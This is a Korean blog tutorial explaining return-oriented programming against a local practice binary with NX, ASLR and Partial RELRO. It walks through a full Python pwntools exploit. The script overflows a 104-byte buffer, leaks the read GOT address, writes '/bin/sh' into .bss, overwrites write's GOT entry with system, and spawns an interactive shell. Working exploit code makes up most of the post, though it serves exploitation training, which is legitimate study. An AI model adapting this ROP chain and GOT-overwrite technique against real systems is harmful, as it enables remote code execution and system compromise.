Self-Improvement
ROP 예제 및 Python pwntools 풀이 사용법 및 쉽게 설명 본문
소스코드
read함수에서 선언한 buf 크기보다 큰 입력값을 받고 있음으로 오버플로우가 가능하다.
적용된 보호기법
NX Bit(스택내에 실행권한 X), ASLR(주소가 동적 변화), Partial RelRO(Got Overwrite O)
Python Pwntools 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import * context.log_level='debug' context(arch='x86', os='linux', endian='little') e=ELF('./rop') p=process('./rop') binsh="/bin/sh\x00" print "===================================" log.info("found address of .bss section : %s" %hex(e.get_section_by_name(".bss").header.sh_addr)) bss=e.get_section_by_name(".bss").header.sh_addr log.info("found address of read plt : %s" %hex(e.plt["read"])) read_plt=e.plt["read"] log.info("found address of read got : %s" %hex(e.got["read"])) read_got=e.got["read"] log.info("found address of write plt : %s" %hex(e.plt["write"])) write_plt=e.plt["write"] log.info("found address of write got : %s" %hex(e.got["write"])) write_got=e.got["write"] print "===================================" offset=0x9ad60 p3r=0x80484c9 payload='A'*104 payload+=p32(write_plt) payload+=p32(p3r) payload+=p32(1) payload+=p32(read_got) payload+=p32(4) payload+=p32(read_plt) payload+=p32(p3r) payload+=p32(0) payload+=p32(bss) payload+=p32(8) payload+=p32(read_plt) payload+=p32(p3r) payload+=p32(0) payload+=p32(write_got) payload+=p32(4) payload+=p32(write_plt) payload+="AAAA" payload+=p32(bss) p.send(payload) read_addr=u32(p.recv()[-4:]) log.info('read_addr = 0x%x' %read_addr) log.info('system_offset = 0x%x' %offset) system=read_addr-offset log.info('system=0x%x' %system) print "===================================" p.send(binsh) p.send(p32(system)) p.interactive() | cs |
코드를 봐도 알겠지만 ROP를 하기위해선 아래의 것들이 필요하다.
write_plt, write_got, read_plt, read_got, p3r(pop pop pop ret), bss, offset(read-system), system
1. write함수를 호출하여 read_got 주소를 얻어온다.
2. read함수를 호출하여 bss에 입력값을 할당한다.(입력값 = p.send(binsh))
3. read함수를 호출하여 write_got에 입력값을 할당한다.(입력값 = p.send(p32(system)) = Got Overwrite
4. write함수(Got Overwrite된 System)를 호출하여 bss 영역("/bin/sh")을 인자로 준다.
p.send(payload)하고 받은 데이터의 뒷 4바이트는 1번에서 수행한 read_got 주소를 얻어오게 된다.
얻어온 read_got 주소와 offset 값을 빼면 system 주소 값을 얻을 수 있다.
실행 결과
'리버싱 기초' 카테고리의 다른 글
SROP(SigReturn Oriented Programming) 기초 예제 (0) | 2020.06.09 |
---|---|
[Memory Leak] Canary 적용된 ROP 풀이 Pwntools 사용 (0) | 2020.05.31 |
gcc Dummy 옵션(-mpreferred-stack-boundary) 존재 상태에서 스택 버퍼 오버플로우 실습 (Stack Buffer OverFlow) (0) | 2020.05.19 |
GCC 컴파일 시 메모리 보호기법 옵션 모음 (0) | 2020.05.18 |
RTL (Return To Library), RTL Chaining, gadget(PPR), Got Overwrite 실습 (0) | 2020.05.17 |